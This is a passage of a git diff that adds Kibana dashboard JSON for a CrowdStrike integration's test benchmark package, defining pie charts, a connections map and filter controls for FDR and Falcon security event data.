+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "37d34cfa-17ff-4e3e-a584-1b49cec083a5",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "1928976e-020d-48bd-9887-d9fd1925f69e": {
+                                            "columnOrder": [
+                                                "7aaadac8-55b7-4979-9bf1-b02a9673b502",
+                                                "5ec733a8-d11d-472d-9328-3c48b41a17ac"
+                                            ],
+                                            "columns": {
+                                                "5ec733a8-d11d-472d-9328-3c48b41a17ac": {
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count of records",
+                                                    "operationType": "count",
+                                                    "params": {},
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "7aaadac8-55b7-4979-9bf1-b02a9673b502": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Top events",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "5ec733a8-d11d-472d-9328-3c48b41a17ac",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.action"
+                                                }
+                                            },
+                                            "incompleteColumns": {}
+                                        }
+                                    }
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "37d34cfa-17ff-4e3e-a584-1b49cec083a5",
+                                        "key": "event.kind",
+                                        "negate": true,
+                                        "params": {
+                                            "query": "alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "event.kind": "alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "1928976e-020d-48bd-9887-d9fd1925f69e",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "5ec733a8-d11d-472d-9328-3c48b41a17ac"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "7aaadac8-55b7-4979-9bf1-b02a9673b502"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 19,
+                    "i": "7564f2a4-7167-4d71-8ce2-ece32f217487",
+                    "w": 10,
+                    "x": 27,
+                    "y": 14
+                },
+                "panelIndex": "7564f2a4-7167-4d71-8ce2-ece32f217487",
+                "title": "Top Event Types",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "4c5d87a9-3846-4fea-8db2-3ee8315e919e",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "35e353f8-fd89-43a0-ad8c-c5d202f098d2": {
+                                            "columnOrder": [
+                                                "b00df131-3742-4fa3-8645-032847f0266b",
+                                                "b89debc2-4203-43c7-ba15-6612030f67bd"
+                                            ],
+                                            "columns": {
+                                                "b00df131-3742-4fa3-8645-032847f0266b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Top alerts",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "b89debc2-4203-43c7-ba15-6612030f67bd",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.action"
+                                                },
+                                                "b89debc2-4203-43c7-ba15-6612030f67bd": {
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count of records",
+                                                    "operationType": "count",
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {}
+                                        }
+                                    }
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "4c5d87a9-3846-4fea-8db2-3ee8315e919e",
+                                        "key": "event.kind",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "event.kind": "alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": "data_stream.dataset : \"crowdstrike.fdr\""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "35e353f8-fd89-43a0-ad8c-c5d202f098d2",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "b89debc2-4203-43c7-ba15-6612030f67bd"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "b00df131-3742-4fa3-8645-032847f0266b"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 19,
+                    "i": "32c13eb0-f12d-44d8-8ec4-ea778840fabf",
+                    "w": 11,
+                    "x": 37,
+                    "y": 14
+                },
+                "panelIndex": "32c13eb0-f12d-44d8-8ec4-ea778840fabf",
+                "title": "Top Alert Types",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "layerListJSON": [
+                            {
+                                "alpha": 1,
+                                "id": "0307e118-9fac-4923-ad6e-b588a8bd939f",
+                                "includeInFitToBounds": true,
+                                "label": null,
+                                "maxZoom": 24,
+                                "minZoom": 0,
+                                "sourceDescriptor": {
+                                    "isAutoSelect": true,
+                                    "lightModeDefault": "road_map",
+                                    "type": "EMS_TMS"
+                                },
+                                "style": {
+                                    "type": "TILE"
+                                },
+                                "type": "EMS_VECTOR_TILE",
+                                "visible": true
+                            },
+                            {
+                                "alpha": 0.75,
+                                "id": "6b7c69d1-9248-4af3-b437-0abcef344b67",
+                                "includeInFitToBounds": true,
+                                "joins": [],
+                                "label": "Agent locations",
+                                "maxZoom": 24,
+                                "minZoom": 0,
+                                "sourceDescriptor": {
+                                    "applyGlobalQuery": true,
+                                    "applyGlobalTime": true,
+                                    "filterByMapBounds": true,
+                                    "geoField": "observer.geo.location",
+                                    "id": "4c8af7e5-4ec6-43de-84ea-8df092cea5f8",
+                                    "indexPatternRefName": "layer_1_source_index_pattern",
+                                    "scalingType": "CLUSTERS",
+                                    "sortField": "",
+                                    "sortOrder": "desc",
+                                    "tooltipProperties": [],
+                                    "topHitsSize": 1,
+                                    "topHitsSplitField": "",
+                                    "type": "ES_SEARCH"
+                                },
+                                "style": {
+                                    "isTimeAware": true,
+                                    "properties": {
+                                        "fillColor": {
+                                            "options": {
+                                                "color": "#54B399"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "icon": {
+                                            "options": {
+                                                "value": "marker"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "iconOrientation": {
+                                            "options": {
+                                                "orientation": 0
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "iconSize": {
+                                            "options": {
+                                                "size": 6
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelBorderColor": {
+                                            "options": {
+                                                "color": "#FFFFFF"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelBorderSize": {
+                                            "options": {
+                                                "size": "SMALL"
+                                            }
+                                        },
+                                        "labelColor": {
+                                            "options": {
+                                                "color": "#000000"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelSize": {
+                                            "options": {
+                                                "size": 14
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelText": {
+                                            "options": {
+                                                "value": ""
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "lineColor": {
+                                            "options": {
+                                                "color": "#41937c"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "lineWidth": {
+                                            "options": {
+                                                "size": 1
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "symbolizeAs": {
+                                            "options": {
+                                                "value": "circle"
+                                            }
+                                        }
+                                    },
+                                    "type": "VECTOR"
+                                },
+                                "type": "BLENDED_VECTOR",
+                                "visible": true
+                            },
+                            {
+                                "alpha": 0.75,
+                                "id": "1b3c966b-6756-41dc-8875-a936e36dd0c2",
+                                "includeInFitToBounds": true,
+                                "joins": [],
+                                "label": "Connections",
+                                "maxZoom": 24,
+                                "minZoom": 0,
+                                "sourceDescriptor": {
+                                    "applyGlobalQuery": true,
+                                    "applyGlobalTime": true,
+                                    "destGeoField": "destination.geo.location",
+                                    "id": "0314931e-5e8d-4609-be8a-b478a6afed11",
+                                    "indexPatternRefName": "layer_2_source_index_pattern",
+                                    "metrics": [
+                                        {
+                                            "type": "count"
+                                        }
+                                    ],
+                                    "sourceGeoField": "source.geo.location",
+                                    "type": "ES_PEW_PEW"
+                                },
+                                "style": {
+                                    "isTimeAware": true,
+                                    "properties": {
+                                        "fillColor": {
+                                            "options": {
+                                                "color": "#54B399"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "icon": {
+                                            "options": {
+                                                "value": "marker"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "iconOrientation": {
+                                            "options": {
+                                                "orientation": 0
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "iconSize": {
+                                            "options": {
+                                                "size": 6
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelBorderColor": {
+                                            "options": {
+                                                "color": "#FFFFFF"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelBorderSize": {
+                                            "options": {
+                                                "size": "SMALL"
+                                            }
+                                        },
+                                        "labelColor": {
+                                            "options": {
+                                                "color": "#000000"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelSize": {
+                                            "options": {
+                                                "size": 14
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "labelText": {
+                                            "options": {
+                                                "value": ""
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "lineColor": {
+                                            "options": {
+                                                "color": "#494193"
+                                            },
+                                            "type": "STATIC"
+                                        },
+                                        "lineWidth": {
+                                            "options": {
+                                                "field": {
+                                                    "name": "doc_count",
+                                                    "origin": "source"
+                                                },
+                                                "fieldMetaOptions": {
+                                                    "isEnabled": true,
+                                                    "sigma": 3
+                                                },
+                                                "maxSize": 10,
+                                                "minSize": 1
+                                            },
+                                            "type": "DYNAMIC"
+                                        },
+                                        "symbolizeAs": {
+                                            "options": {
+                                                "value": "circle"
+                                            }
+                                        }
+                                    },
+                                    "type": "VECTOR"
+                                },
+                                "type": "GEOJSON_VECTOR",
+                                "visible": true
+                            }
+                        ],
+                        "mapStateJSON": {
+                            "center": {
+                                "lat": 19.94277,
+                                "lon": 0
+                            },
+                            "filters": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "refreshConfig": {
+                                "interval": 0,
+                                "isPaused": true
+                            },
+                            "settings": {
+                                "autoFitToDataBounds": false,
+                                "backgroundColor": "#ffffff",
+                                "browserLocation": {
+                                    "zoom": 2
+                                },
+                                "disableInteractive": false,
+                                "disableTooltipControl": false,
+                                "fixedLocation": {
+                                    "lat": 0,
+                                    "lon": 0,
+                                    "zoom": 2
+                                },
+                                "hideLayerControl": false,
+                                "hideToolbarOverlay": false,
+                                "hideViewControl": false,
+                                "initialLocation": "LAST_SAVED_LOCATION",
+                                "maxZoom": 24,
+                                "minZoom": 0,
+                                "showScaleControl": false,
+                                "showSpatialFilters": true,
+                                "showTimesliderToggleButton": true,
+                                "spatialFiltersAlpa": 0.3,
+                                "spatialFiltersFillColor": "#DA8B45",
+                                "spatialFiltersLineColor": "#DA8B45"
+                            },
+                            "timeFilters": {
+                                "from": "now-15M",
+                                "to": "now"
+                            },
+                            "zoom": 1.78
+                        },
+                        "title": "",
+                        "uiStateJSON": {
+                            "isLayerTOCOpen": true,
+                            "openTOCDetails": []
+                        }
+                    },
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hiddenLayers": [],
+                    "hidePanelTitles": false,
+                    "isLayerTOCOpen": true,
+                    "mapBuffer": {
+                        "maxLat": 85.05113,
+                        "maxLon": 360,
+                        "minLat": -85.05113,
+                        "minLon": -360
+                    },
+                    "mapCenter": {
+                        "lat": 24.98,
+                        "lon": 12.29359,
+                        "zoom": 0.73
+                    },
+                    "openTOCDetails": []
+                },
+                "gridData": {
+                    "h": 24,
+                    "i": "26961648-cc31-4ed6-a378-698523307b21",
+                    "w": 41,
+                    "x": 7,
+                    "y": 33
+                },
+                "panelIndex": "26961648-cc31-4ed6-a378-698523307b21",
+                "title": "Agents and connections",
+                "type": "map"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Crowdstrike] FDR Overview",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T12:27:17.619Z",
+    "id": "crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-current-indexpattern",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "355965cd-eb00-4357-bdd8-1640627d1191:indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "0325f703-a3cc-4a43-b621-974baae08c00:indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:37d34cfa-17ff-4e3e-a584-1b49cec083a5",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:4c5d87a9-3846-4fea-8db2-3ee8315e919e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "26961648-cc31-4ed6-a378-698523307b21:layer_1_source_index_pattern",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "26961648-cc31-4ed6-a378-698523307b21:layer_2_source_index_pattern",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
new file mode 100644
index 0000000000..2ff4281d25
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
@@ -0,0 +1,1208 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {
+                "2f027408-9e82-4fbe-8c59-f32e933b50f0": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "host.name",
+                        "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Hostname"
+                    },
+                    "grow": true,
+                    "order": 0,
+                    "type": "optionsListControl",
+                    "width": "small"
+                },
+                "3dc73766-aa88-46ff-a02d-b0e600136550": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "event.action",
+                        "id": "3dc73766-aa88-46ff-a02d-b0e600136550",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Event Type"
+                    },
+                    "grow": true,
+                    "order": 1,
+                    "type": "optionsListControl",
+                    "width": "small"
+                },
+                "bd86c535-6911-441c-a29d-8a48759b461f": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "threat.technique.name",
+                        "id": "bd86c535-6911-441c-a29d-8a48759b461f",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "MITRE Technique Name"
+                    },
+                    "grow": false,
+                    "order": 4,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "c94c3167-3962-4186-b809-1f2506632789": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "crowdstrike.event.SeverityName",
+                        "id": "c94c3167-3962-4186-b809-1f2506632789",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Severity"
+                    },
+                    "grow": true,
+                    "order": 2,
+                    "type": "optionsListControl",
+                    "width": "small"
+                },
+                "fa9232f2-d8fd-4087-989d-c4be652027bb": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "threat.tactic.name",
+                        "id": "fa9232f2-d8fd-4087-989d-c4be652027bb",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "MITRE Tactic Name"
+                    },
+                    "grow": true,
+                    "order": 3,
+                    "type": "optionsListControl",
+                    "width": "small"
+                }
+            },
+            "showApplySelections": false
+        },
+        "description": "",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.falcon"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.falcon"
+                            }
+                        }
+                    }
+                ],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hidePanelTitles": false,
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "id": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n**Falcon** \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics about the different Incidents and events collected from Crowdstrike Falcon.\n\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 69,
+                    "i": "90059f1b-88f7-4e04-b755-081233d12559",
+                    "w": 7,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "af740c82-0b38-407b-bd61-d2d63b77b76e",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "ECS Category Types",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.category"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "af740c82-0b38-407b-bd61-d2d63b77b76e",
+                                        "negate": false,
+                                        "params": [
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "data_stream.dataset",
+                                                    "index": "logs-*",
+                                                    "key": "data_stream.dataset",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "crowdstrike.falcon"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "data_stream.dataset": "crowdstrike.falcon"
+                                                    }
+                                                }
+                                            },
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "crowdstrike.event.Category",
+                                                    "index": "logs-*",
+                                                    "key": "crowdstrike.event.Category",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "Incidents"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "crowdstrike.event.Category": "Incidents"
+                                                    }
+                                                }
+                                            }
+                                        ],
+                                        "relation": "AND",
+                                        "type": "combined"
+                                    },
+                                    "query": {}
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
+                    "w": 10,
+                    "x": 7,
+                    "y": 0
+                },
+                "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
+                "title": "Incidents by ECS Category",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Severity",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.event.SeverityName"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "3b8281fe-18b6-4215-ac47-2fa94d17fe18",
+                    "w": 10,
+                    "x": 17,
+                    "y": 0
+                },
+                "panelIndex": "3b8281fe-18b6-4215-ac47-2fa94d17fe18",
+                "title": "Events by Severity",
